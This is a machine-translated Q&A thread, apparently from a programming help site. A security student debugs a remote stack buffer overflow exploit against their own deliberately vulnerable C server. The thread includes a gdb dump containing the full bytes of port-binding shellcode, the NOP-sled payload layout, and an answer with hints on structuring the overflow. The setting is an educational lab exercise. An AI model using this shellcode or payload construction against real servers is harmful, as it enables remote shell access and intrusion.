3

私はコンピュータ セキュリティの学生で、リモート バッファ オーバーフローに関するプロジェクトを行っています。私は C で脆弱なサーバーを開発しました。実際には 512 バイトのバッファーに 1024 バイトをコピーする strncpy 関数の安全でない使用と、脆弱性をテストするエクスプロイトがありました。

サーバーコードの構造は基本的に次のようになります。

main()
{
    /* socket programming stuff here */

    /* accept input string with busy waiting loop */

    /* call vulnerable function to process string */

    /* the rest of the code should be never executed if attack succeeds*/
 }

vuln (descriptor, pointer to buffer)
{
    /* copies to smaller buffer overflowing it to overwrite return address */

    /* call other_function */

    /* returns control to main */
 }

 other_function()
 {
     /* do other stuff */
 }

-fno-stack-protector、-static、および -z execstack フラグを使用してコンパイルし、Ubuntu マシンで ASLR もオフにしました。

一般的な考え方は、単純なポート バインディング シェルコードを実行し、リモート シェルを取得することです。問題は、gdb で次のエラーが引き続き発生することです。

" 警告: ブレークポイント 0 を挿入できません。メモリ アドレス 0x90909090 へのアクセス中にエラーが発生しました: 入出力エラー。

??で0xbfffec8c ()」

脆弱な関数から呼び出し元のメインへの実行フローを復元するリターン アドレスは、アドレス 0xbfffedc4 にあります。

0xbfffedbc: 0x08049940 0xbffff258 0x08049097 0x00000008

nopスレッドを指す意味のあるアドレスでなんとか上書きしましたが、何らかの理由で、マシンで実行されたNOP命令を最終的にシェルコードに到達させることができません。悪意のあるバッファの一般的なレイアウトは次のとおりです。

[nop sled (約 420 バイト)] [シェルコード] [repeated ret addr] 0xbfffebbc - 0xbfffed5c 0xbfffed60 0xbfffedbc - 0xbfffefb4

...そして、EIP は NOP スレッドのほぼ中央にある 0xbfffec8c にリダイレクトされます。

segfault エラーの後、info rEIP が目的のアドレス (0xbfffec8c) で正しく読み込まれていると表示されます。

eax            0xffffffff   -1
ecx            0x80f3840    135215168
edx            0x61e    1566
ebx            0x0  0
esp            0xbfffedc8   0xbfffedc8
ebp            0xbfffec8c   0xbfffec8c
esi            0x0  0
edi            0xbfffec8c   -1073746804
eip            0xbfffec8c   0xbfffec8c
eflags         0x282    [ SF IF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51

...そして、スタックメモリのその領域を逆アセンブルすると、予想されるバッファの内容が得られます (多くの 0x90 の後に私のシェルコードが続きます):

(gdb) x/128xw 0xbfffec8c
0xbfffec8c: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfffec9c: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfffecac: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfffecbc: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfffeccc: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfffecdc: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfffecec: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfffecfc: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfffed0c: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfffed1c: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfffed2c: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfffed3c: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfffed4c: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfffed5c: 0x90909090  0x9958666a  0x5243db31  0x026a016a
0xbfffed6c: 0x80cde189  0x58666a96  0x68665243  0x5366697a
0xbfffed7c: 0x106ae189  0xe1895651  0x66b080cd  0x56534343
0xbfffed8c: 0x80cde189  0x524366b0  0xe1895652  0x6a9380cd
0xbfffed9c: 0x3fb05902  0x794980cd  0x520bb0f9  0x732f2f68
0xbfffedac: 0x622f6868  0xe3896e69  0x53e28952  0x80cde189
0xbfffedbc: 0xbfffec8c  0xbfffec8c  0xbfffec8c  0xbfffec8c

問題が何であるかを理解するのを手伝ってください。正確な解決策ではなく、私が提供した情報から問題を特定できた場合、私が何を探すべきかについてのヒントまたは提案です. 私はチートしたくありません:)

お時間をいただきありがとうございます。よろしく、マンコ

4

1 に答える 1

1

実行中の特定の時点で eip に 0x90909090 があり、もちろんスタック範囲外にあるようです。または、例外が発生した後にコードの実行を転送する可能性があります。nopseled のサイズのパターンを使用し、新しい「メモリ アドレス 0x__ へのアクセス エラー」を見つけて、問題の場所を見つけます。

私が言うなら、リターンアドレスが繰り返される理由はわかりません。必要に応じて、eip の上書き後にシェルコードを追加してみてください。可能であれば、それは簡単です(バッファを無期限に上書きできる場合)

あなたの場合、[nop sled (eip 上書きまでのバイト数 - シェルコードのバイト数)] [シェルコード][eip 上書き値(bfffec8c)][オプション: nopsled] で十分です。

于 2013-03-20T13:22:57.777 に答える